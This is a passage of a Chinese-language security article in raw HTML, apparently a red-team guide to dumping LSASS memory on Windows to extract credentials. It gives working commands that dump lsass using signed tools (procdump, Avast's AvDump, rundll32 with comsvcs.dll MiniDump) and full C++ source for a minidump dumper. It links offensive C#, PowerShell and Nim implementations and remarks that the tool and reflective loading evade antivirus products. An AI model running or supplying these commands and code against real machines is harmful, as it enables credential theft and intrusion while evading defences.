data-ratio="0.352317880794702" title="null" data-w="755" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=13d3613e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJTBH6MeQk6ghf4QDamZQKZtZqKvg5ZdnkMwQLlIIWsWwANnjMgvgzuA%2F640%3Fwx_fmt%3Dpng"/></figure></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>4. 通过固有的某些偏移量获取到指向 IV 和 AES/DES 密钥的指针</p><figure style="line-height: 1.75;margin: 1.5em 8px;"><img class="rich_pages wxw-img" data-ratio="0.40852819807427787" title="null" data-w="727" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e37d93a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJa94JicOZqDnP8ibOVB0gU0lJBiakn1gR8aPuibLxUAvYbgEzfTWbvkzLJg%2F640%3Fwx_fmt%3Dpng"/></figure></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>5. 根据已知表达式和偏移，找到 内存中的logon sessions部分。遍历并解析出用户名、域名、密码等信息，这里本地测试出现问题：</p><figure style="line-height: 1.75;margin: 1.5em 8px;"><img data-ratio="0.19481429572529782" title="null" data-w="1427" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=bf231263&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJNRLGoQVRkBbCWUMDqEqxfTC5wFFJq4jibeTibDFC47CWv5N9cwuW9iaoA%2F640%3Fwx_fmt%3Dpng"/></figure><p>没有定位到logon sessions，怀疑是匹配的表达式不正确。看一下mimikatz：</p><figure style="line-height: 1.75;margin: 1.5em 8px;"><img class="rich_pages wxw-img" data-ratio="0.6214622641509434" title="null" data-w="848" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=6bc735e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJiciax9pMD2BZyMgHW436KHHibuJRicNicbAN5D1Vw5VmicYYhoj0aOcDL9cQ%2F640%3Fwx_fmt%3Dpng"/></figure><p>mimikatz定位的表达式不一样，工具作者表达式源自：<a href="https://github.com/skelsec/pypykatz/blob/master/pypykatz/lsadecryptor/packages/msv/templates.py" target="_blank">https://github.com/skelsec/pypykatz/blob/master/pypykatz/lsadecryptor/packages/msv/templates.py</a> 修改止当前机器版本对应的表达式后，可以成功：</p><figure style="line-height: 1.75;margin: 1.5em 8px;"><img data-ratio="0.2949640287769784" title="null" data-w="973" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=672d5e8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJdXricz5MGgFX1xqdYsfibTQH5OO5oh3DvK2LdpsoAg1en6sYNMeyMk7Q%2F640%3Fwx_fmt%3Dpng"/></figure></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>6. 通过之前获取到的 IV 和 AES/DES 密钥解密hash</p><figure style="line-height: 1.75;margin: 1.5em 8px;"><img class="rich_pages wxw-img" data-ratio="0.5022271714922049" title="null" data-w="898" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0c5c813b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJvtI1JH0p33dB8E88hTDjHNG3HAhU8ZxSJ4RXMiaYmLf0pSUddibsh3Cg%2F640%3Fwx_fmt%3Dpng"/></figure></li></ol><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">原作者使用了syscall，该工具在没有做任何免杀的情况下静态能过大多数杀软：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.46025641025641023" title="null" data-w="780" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=32978cdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJIglKoqialFkf6JcDmoY2fz4IIzqoKSa2hwnDnBcndVwicFqyMbrnOQXg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">白名单工具</h2><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">我们通常将这些工具称为LOLBins，指攻击者可以使用这些二进制文件执行超出其原始目的的操作。我们关注LOLBins中导出内存的程序。</p></blockquote><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">procdump + mimikatz</h3><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">procdump.exe -accepteula -ma lsass.exe lsass.dmp<br/>// or avoid reading lsass by dumping a cloned lsass process<br/>procdump.exe -accepteula -r -ma lsass.exe lsass.dmp</code></pre><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.27392344497607657" title="null" data-w="836" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=830c8b96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJXtA3HjLHtvES5JDVXpNlAfaiab0lEkjYk81jpkntibUBVMJqpviaCZugQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用mimikatz解dump文件</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.5417170495767836" title="null" data-w="827" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=64cde523&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJIVWTCrOYfTquKBTdCia953olhvmNKI8tyW1f3sdXLuBA6ruYL0c7qWA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">avdump</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">avdump是杀软Avast包含的程序，具有可信签名</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">.\AvDump.exe --pid &lt;lsass pid&gt; --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0</code></pre><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.8047520661157025" title="null" data-w="1936" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=23b92bac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJ7f2CIWNjIiahreh0TDXHV844Bwicib3K0tFPVG8CEcoTHasFl4mGvofYg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">sqldumper.exe</h3><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="1.1521068859198356" title="null" data-w="973" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=63d18a3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJju4bJNibicvFibwRF4chEWMJd18Cvh6ORd6HGUtVdMuOQXPiaC8JhXWqVQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">rdleakdiag.exe</h3><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="1.2535934291581108" title="null" data-w="974" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=89fca48b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJS8dZ12qFqRzV8kVdJ8CwmQeGcaRVJTzgDXG8IIswBrIu9yeWPSEQng%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">adplus.exe</h3><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="1.008450704225352" title="null" data-w="1065" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb448b67&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJL6sojsRYkuVHTEjYNEo7ic3gj4AX9PAiaYYOFwia5VlxYAg3DUa9nGpqA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">rundll32 minidump</h3><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">.\rundll32.exe C:\windows\System32\comsvcs.dll,MiniDump pid C:\temp\lsass.dmp full</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">有的时候cmd没有sedbug权限，而powershell有，优先使用powershell执行：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.42294322132097334" title="null" data-w="863" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=aa822042&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJTvhdjXKwibN2GXSzAoQSkiaXIqRFYye8NdPjsusMh2NKwJqyv6DqfJUQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">多语言编程实现</h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">C++</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要依赖MiniDumpWriteDump：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">#include &#34;stdafx.h&#34;<br/>#include &lt;windows.h&gt;<br/>#include &lt;DbgHelp.h&gt;<br/>#include &lt;iostream&gt;<br/>#include &lt;TlHelp32.h&gt;<br/>using namespace std;<br/>int main() {<br/>    DWORD lsassPID = 0;<br/>    HANDLE lsassHandle = NULL; <br/>    // Open a handle to lsass.dmp - this is where the minidump file will be saved to<br/>    HANDLE outFile = CreateFile(L&#34;lsass.dmp&#34;, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);<br/>    // Find lsass PID <br/>    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br/>    PROCESSENTRY32 processEntry = {};<br/>    processEntry.dwSize = sizeof(PROCESSENTRY32);<br/>    LPCWSTR processName = L&#34;&#34;;<br/>    if (Process32First(snapshot, &amp;processEntry)) {<br/>        while (_wcsicmp(processName, L&#34;lsass.exe&#34;) != 0) {<br/>            Process32Next(snapshot, &amp;processEntry);<br/>            processName = processEntry.szExeFile;<br/>            lsassPID = processEntry.th32ProcessID;<br/>        }<br/>        wcout &lt;&lt; &#34;[+] Got lsass.exe PID: &#34; &lt;&lt; lsassPID &lt;&lt; endl;<br/>    }<br/>    <br/>    // Open handle to lsass.exe process<br/>    lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);<br/>    <br/>    // Create minidump<br/>    BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);<br/>    <br/>    if (isDumped) {<br/>        cout &lt;&lt; &#34;[+] lsass dumped successfully!&#34; &lt;&lt; endl;<br/>    }<br/>    <br/>    return 0;<br/>}</code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">C</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要通过C#调用windows api实现：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://github.com/GhostPack/SharpDump/blob/master/SharpDump/Program.cs" target="_blank">https://github.com/GhostPack/SharpDump/blob/master/SharpDump/Program.cs</a></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.6464309539693128" title="null" data-w="1499" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=36d1b4bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJLCZKsXtXOiaiaEXrx0VTYae9MYyClojkDLZbhegobIHlpdFdfECmrRAg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">结合反射加载可以绕过很多不保护内存的杀软，如definder、sysmantec等。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">PS</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">依旧是使用MiniDumpWriteDump：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1" target="_blank">https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1</a></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.40135287485907556" title="null" data-w="887" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0a251b61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJoGOkiafdPnkDmreG6DW3YIxygNuWbCibU8oGW8a5Y4aAocicUyq2JkEzQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">nim</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">样例代码未获取sedug权限，需要在system下使用。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/minidump_bin.nim" target="_blank">https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/minidump_bin.nim</a></p><p style="font-size: 14px;white-space: 